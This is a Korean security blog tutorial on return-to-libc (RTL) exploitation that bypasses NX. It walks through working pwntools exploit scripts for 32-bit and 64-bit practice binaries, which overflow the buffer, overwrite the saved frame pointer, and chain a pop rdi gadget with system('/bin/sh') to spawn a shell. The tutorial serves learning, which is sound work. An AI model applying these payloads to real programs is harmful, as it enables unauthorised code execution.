RTL(Return To Library)
NX 비트가 켜져있어서 쉘코드 실행이 불가능한 경우,
RTL을 사용하여 라이브러리에 있는 함수를 실행하여 우회한다.
실제로 RTL로 쉘을 실행해보며 어떻게 작동하는지 알아보자.
32BIT
프로그램을 실행해주고, print system 으로 system 함수의 주소를 가져오겠습니다.
그리고 인자로 넣을 /bin/sh 를 찾아서 주소를 가져오겠습니다.
shift + F12를 쓰면 문자열들이 보입니다.
/bin/sh를 더블클릭하여 들어가면
앞에 주소가 써있으니 복사해 주겠습니다.
from pwn import *
r = process('./rtl32_1')
gdb.attach(r) #debugger attach
_system = 0xf7dfce40 #system function address
_binsh = 0x0804a028 #/bin/sh string address
그리고 IDA를 이용하여 ebp부터 변수까지 떨어진 거리를 확인한 후에 덮어써줍니다.
payload = "A" * 0x48 #overwrite
그러면 이 다음에 쓰는 부분은 SFP가 될 것입니다. RET 위치에 있는 주소를 실행하기 때문에, SFP를 덮어쓰겠습니다.
payload += "A" * 4 #SFP
그리고 이 다음에 실행할 함수를 넣어야 하는데 그 함수는 위에서 찾은 system의 주소를 넣어주겠습니다.
payload += p32(_system)
그 다음에는 system 함수가 끝나고 실행될 주소를 넣는다.
payload += "A" * 4
그리고 32bit에선 스택에 인자를 넣기 때문에, shell을 실행하기 위해 /bin/sh 를 인자로 넣어준다.
payload += p32(_binsh)
그리고 만들어진 페이로드를 전송하고, 대화형으로 변경한다.
r.sendline(payload) #send payload
r.interactive() #interactive
이걸 gdb로 봐보면
페이로드가 잘 들어갔고 지금은 SFP 부분이다.
pop ebp로 스택에 맨 위에 있는(여기선 SFP)를 ebp에 넣는다.
그리고 다음 명령어는 ret 이고, 스택의 최상단의 함수를 실행한다. (돌아간다는 표현이 더 적절한것 같다.)
그 다음은 함수 안에서 알아서 스택의 첫번째는 함수를 호출하고, 두번째부턴 인자로 들어간다.
64BIT
system함수 주소와 /bin/sh 찾는 과정은 같으니 스킵하고, x64에서는 함수 인자로 레지스터를 사용하니, 레지스터에 원하는 값을 넣는 가젯을 써야 합니다. 여기선 pop rdi; ret; 가젯을 써보겠습니다.
ROPgadget --binary 파일
을 이용하여 가젯 목록을 가져오고 grep을 통해서 원하는 문자열을 찾습니다.
그리고 코드를 위와 같이 기본적인건 작성합니다.
from pwn import *
e = ELF('./rtl64_1')
r = process('./rtl64_1')
_system = e.plt['system']
_binsh = 0x0000000000400794
_poprdi = 0x0000000000400773
64비트니 일단 인자 설정을 해 줍니다.
인자가 하나니 pop rdi; ret; 만 사용하면 되고, 스택의 최상단에서 가져오고, 이번엔 인자를 스택에 넣지 않으니, RET가 실행될 때 스택 최상단에서 주소를 가져와서 돌아가니 인자 다음에 넣어주면 된다.
pop rdi; ret;
"/bin/sh";
system
payload = 'A' * 0x30 #overwrite
payload += 'A' * 8 #SFP
payload += p64(_poprdi)
payload += p64(_binsh)
payload += p64(_system)
from pwn import *
e = ELF('./rtl64_1')
r = process('./rtl64_1')
_system = e.plt['system']
_binsh = 0x0000000000400794
_poprdi = 0x0000000000400773
payload = 'A' * 0x30 #overwrite
payload += 'A' * 8 #SFP
payload += p64(_poprdi)
payload += p64(_binsh)
payload += p64(_system)
r.sendline(payload)
r.interactive()
그리고 디버거에서 어떻게 실행되는지 봐보면
ret 에서 pop rdi 가젯으로 가고
스택의 최상단을 뽑아 rdi에 넣고
system 함수를 실행한다.
'해킹 > writeup' 카테고리의 다른 글
14. Dreamhack - basic_rop_x86 (0) | 2021.08.01 |
---|---|
13. HackCTF - RTL_Core (0) | 2021.07.19 |
10. PLT & GOT (0) | 2021.07.19 |
12. HackCTF - RTL_World (0) | 2021.07.18 |
9. HackCTF - Offset (0) | 2021.07.11 |